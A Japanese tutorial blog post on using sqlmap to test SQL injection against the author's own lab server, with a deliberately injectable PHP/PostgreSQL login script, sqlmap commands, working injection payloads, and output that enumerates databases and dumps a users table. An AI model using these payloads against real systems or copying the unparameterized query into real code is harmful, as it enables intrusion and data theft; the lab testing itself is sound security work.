Posted at

sqlmapでSQLインジェクションの検証

More than 3 years have passed since last update.


はじめに

ここではpython製のツールである、sqlmapを使って

SQLインジェクションの検証をします。

検証目的ですので、自分でたてたテストサーバにSQLインジェクションを

しかけます。


対応しているDB


  • MySQL

  • Oracle

  • PostgreSQL

  • Microsoft SQL Server

  • Microsoft Access

  • IBM DB2

  • SQLite

  • Firebird

  • Sybase

  • SAP MaxDB


検知できるSQLインジェクションの種類


  • boolean-based blind

  • time-based blind

  • error-based

  • UNION query

  • stacked queries

  • out-of-band


検証環境



  • 攻撃用サーバ(sqlmap実行側):


    • OS: CentOS6.4 x86_64

    • Python: python2.2.6




  • 攻撃対象サーバ:


    • OS: CentOS6.4 x86_64

    • php: 5.3.2

    • Apache: 2.2.25

    • PostgreSQL: 9.2.5




攻撃対象サイト

下記のPHPスクリプトを用意しました。

ログインフォーム(sql_injection-002.html):

<html>

<head><title>ログインしてください</title></head>
<body>
<form action="sql_injection-003.php" method="POST">
ユーザ名<input type="text" name="ID"><br>
パスワード<input type="text" name="PWD"><br>
<input type="submit" value="ログイン">
</form>
</body>
</html>

ログイン処理スクリプト(sql_injection-003.php):

<?php

session_start();
header('Content-Type: text/html; charset=UTF-8');
$id = @$_POST['ID']; // ユーザID
$pwd = @$_POST['PWD']; // パスワード
// データベースに接続しコネクションオブジェクトを生成
$con = pg_connect("host=localhost dbname=wasbook user=postgres password=wasbook");
// SQLの組み立て(プレースホルダは意図的に使用しない)
$sql = "SELECT * FROM users WHERE id ='$id' and PWD = '$pwd'";
$rs = pg_query($con, $sql); // クエリー実行
?>
<html>
<body>
<?php
if (pg_num_rows($rs) > 0) { // SELECTした行が存在する場合ログイン成功
$_SESSION['id'] = $id;
echo 'ログイン成功です';
} else {
echo 'ログイン失敗です';
}
pg_close($con);
?>
</body>
</html>


sqlmapインストール

GitHからリポジトリをフォークするだけです。

$ git clone https://github.com/sqlmapproject/sqlmap.git

$ cd sqlmap


使い方

他の方が説明をしてくれているので、ここでは細かい説明はしませんが、基本的なことだけ

GETメソッドの場合の例:

python sqlmap.py -u "http://example.jp/sql_injection-003.php?ID=1&PWD=2"

POSTメソッドの場合の例:

python sqlmap.py -u "http://example.jp/sql_injection-003.php" --data "ID=1&PWD=2"

基本的なコマンド:

コマンド(center)
説明(center)

--dbs
データベースの一覧を取得

--tables
テーブルの一覧を取得

-D
データベースの指定(PostgreSQLではサーチパス)

-T
テーブルの指定

--colums
-Tと一緒に使いテーブル定義を一覧

--dump
-Tと一緒に使いテーブルデータをダンプ


脆弱性診断をする

診断を開始します:

$ ./sqlmap.py -u "http://example.jp/sql_injection-003.php" --data="ID=1&PWD=2" --dbms PostgreSQL

sqlmap/1.0-dev-67115ed - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 07:05:04

[07:05:04] [WARNING] using '/home/shyamahira/.sqlmap/output' as the output directory
[07:05:04] [INFO] testing connection to the target URL
[07:05:04] [INFO] testing if the target URL is stable. This can take a couple of seconds
[07:05:05] [INFO] target URL is stable
[07:05:05] [INFO] testing if POST parameter '
ID' is dynamic
[07:05:05] [WARNING] POST parameter '
ID' does not appear dynamic
[07:05:05] [INFO] heuristic (basic) test shows that POST parameter '
ID' might be injectable (possible DBMS: 'PostgreSQL')
[07:05:05] [INFO] testing for SQL injection on POST parameter '
ID'
[07:05:05] [INFO] testing '
AND boolean-based blind - WHERE or HAVING clause'
[07:05:05] [INFO] testing '
PostgreSQL AND error-based - WHERE or HAVING clause'
[07:05:05] [INFO] POST parameter '
ID' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable
[07:05:05] [INFO] testing '
PostgreSQL inline queries'
[07:05:05] [INFO] testing '
PostgreSQL > 8.1 stacked queries'
[07:05:05] [WARNING] time-based comparison requires larger statistical model, please wait.....
[07:05:15] [INFO] POST parameter '
ID' seems to be 'PostgreSQL > 8.1 stacked queries' injectable
[07:05:15] [INFO] testing '
PostgreSQL > 8.1 AND time-based blind'
[07:05:25] [INFO] POST parameter '
ID' seems to be 'PostgreSQL > 8.1 AND time-based blind' injectable
[07:05:25] [INFO] testing '
Generic UNION query (NULL) - 1 to 20 columns'
[07:05:25] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[07:05:25] [WARNING] reflective value(s) found and filtering out
[07:05:25] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[07:05:25] [INFO] target URL appears to have 6 columns in query

以下のように聞かれたら、Yで応答します:

injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] 

IDパラメータで脆弱性が検出されました:

POST parameter 'ID' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 

上記メッセージをyで応答し、処理を進めます:

[07:10:07] [INFO] testing if POST parameter 'PWD' is dynamic

[07:10:07] [WARNING] POST parameter 'PWD' does not appear dynamic
[07:10:07] [INFO] heuristic (basic) test shows that POST parameter 'PWD' might be injectable (possible DBMS: 'PostgreSQL')
[07:10:07] [INFO] testing for SQL injection on POST parameter 'PWD'
[07:10:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:10:07] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[07:10:07] [INFO] POST parameter 'PWD' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable
[07:10:07] [INFO] testing 'PostgreSQL inline queries'
[07:10:07] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[07:10:17] [INFO] POST parameter 'PWD' seems to be 'PostgreSQL > 8.1 stacked queries' injectable
[07:10:17] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[07:10:27] [INFO] POST parameter 'PWD' seems to be 'PostgreSQL > 8.1 AND time-based blind' injectable
[07:10:27] [INFO] testing 'Generic UNION query (60) - 1 to 20 columns'

PWDパラメータで脆弱性が検出されました:

POST parameter 'PWD' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 

上記メッセージをyで応答し、処理を進めます:

PWDとIDパラメータにerror-basedのSQLインジェクションの脆弱性があると診断診断されました:

sqlmap identified the following injection points with a total of 101 HTTP(s) requests:

---
Place: POST
Parameter: PWD
Type: error-based
Title: PostgreSQL AND error-based - WHERE or HAVING clause
Payload: ID=1&PWD=2' AND 5991=CAST((CHR(113)||CHR(112)||CHR(99)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (5991=5991) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(117)||CHR(117)||CHR(113)) AS NUMERIC) AND 'iBQp'='iBQp

Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries
Payload: ID=1&PWD=2'; SELECT PG_SLEEP(5)--

Type: AND/OR time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: ID=1&PWD=2' AND 9601=(SELECT 9601 FROM PG_SLEEP(5)) AND 'oMeE'='oMeE

Place: POST
Parameter: ID
Type: error-based
Title: PostgreSQL AND error-based - WHERE or HAVING clause
Payload: ID=1' AND 3272=CAST((CHR(113)||CHR(112)||CHR(99)||CHR(112)||CHR(113))||(SELECT (CASE WHEN (3272=3272) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(117)||CHR(117)||CHR(113)) AS NUMERIC) AND 'ahLa'='ahLa&PWD=2

Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries
Payload: ID=1'; SELECT PG_SLEEP(5)--&PWD=2

Type: AND/OR time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: ID=1' AND 3167=(SELECT 3167 FROM PG_SLEEP(5)) AND 'GbHI'='GbHI&PWD=2
---

ここではQuitで止めます:

there were multiple injection points, please select the one to use for following injections:

[0] place: POST, parameter: ID, type: Single quoted string (default)
[1] place: POST, parameter: PWD, type: Single quoted string
[q] Quit


データベースの一覧を取得する

$ ./sqlmap.py -u "http://example.jp/sql_injection-003.php" --data="ID=1&PWD=2" --dbs

~ 略 ~
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: PWD, type: Single quoted string (default) <-ここでは0を選択する
[1] place: POST, parameter: ID, type: Single quoted string
[q] Quit

~ 略 ~

available databases [3]:
[*] information_schema
[*] pg_catalog
[*] public

[11:57:55] [INFO] fetched data logged to text files under '/home/shyamahira/.sqlmap/output/example.jp'

[*] shutting down at 11:57:55


テーブルの一覧を取得する

$ ./sqlmap.py -u "http://example.jp/sql_injection-003.php" --data="ID=1&PWD=2" --tables

~ 略 ~
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: PWD, type: Single quoted string (default) <-ここでは0を選択する
[1] place: POST, parameter: ID, type: Single quoted string
[q] Quit

~ 略 ~

Database: pg_catalog
[42 tables]
+-------------------------+
| pg_aggregate |
| pg_am |
| pg_amop |
| pg_amproc |
| pg_attrdef |
| pg_attribute |
| pg_auth_members |
| pg_authid |
| pg_cast |
| pg_class |
| pg_constraint |
| pg_conversion |
| pg_database |
| pg_depend |
| pg_description |
| pg_enum |
| pg_foreign_data_wrapper |
| pg_foreign_server |
| pg_index |
| pg_inherits |
| pg_language |
| pg_largeobject |
| pg_listener |
| pg_namespace |
| pg_opclass |
| pg_operator |
| pg_opfamily |
| pg_pltemplate |
| pg_proc |
| pg_rewrite |
| pg_shdepend |
| pg_shdescription |
| pg_statistic |
| pg_tablespace |
| pg_trigger |
| pg_ts_config |
| pg_ts_config_map |
| pg_ts_dict |
| pg_ts_parser |
| pg_ts_template |
| pg_type |
| pg_user_mapping |
+-------------------------+

Database: information_schema
[7 tables]
+-------------------------+
| sql_features |
| sql_implementation_info |
| sql_languages |
| sql_packages |
| sql_parts |
| sql_sizing |
| sql_sizing_profiles |
+-------------------------+

Database: public
[4 tables]
+-------------------------+
| books |
| dummy |
| test |
| users |
+-------------------------+

[12:06:06] [INFO] fetched data logged to text files under '/home/shyamahira/.sqlmap/output/example.jp'

[*] shutting down at 12:06:06


テーブルデータのダンプ(usersテーブル)

$ ./sqlmap.py -u "http://example.jp/sql_injection-003.php" --data="ID=1&PWD=2" -T users --dump

~ 略 ~
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: PWD, type: Single quoted string (default) <-ここでは0を選択する
[1] place: POST, parameter: ID, type: Single quoted string
[q] Quit

~ 略 ~

Database: public
Table: users
[3 entries]
+--------+--------------+----------+---------+--------------------+------+
| id | tel | pwd | addr | mail | name |
+--------+--------------+----------+---------+--------------------+------+
| sato | 045-123-4567 | password | 神奈川県横浜市 | sato@example.net | 佐藤一志 |
| tanaka | 03-1234-5678 | pass1 | 東京都港区三田 | takana@example.com | 山石京子 |
| yamada | 046-123-4567 | pass1 | 神奈川県川崎市 | yamada@example.jp | 山田太一 |
+--------+--------------+----------+---------+--------------------+------+

[12:08:35] [INFO] table 'public.users' dumped to CSV file '/home/shyamahira/.sqlmap/output/example.jp/dump/public/users.csv'
[12:08:35] [INFO] fetched data logged to text files under '/home/shyamahira/.sqlmap/output/example.jp'

[*] shutting down at 12:08:35


最後に

sqlmapを実行した時、攻撃対象にどんなアクセスが来ているかについては

時間のある時に追記したいと思います。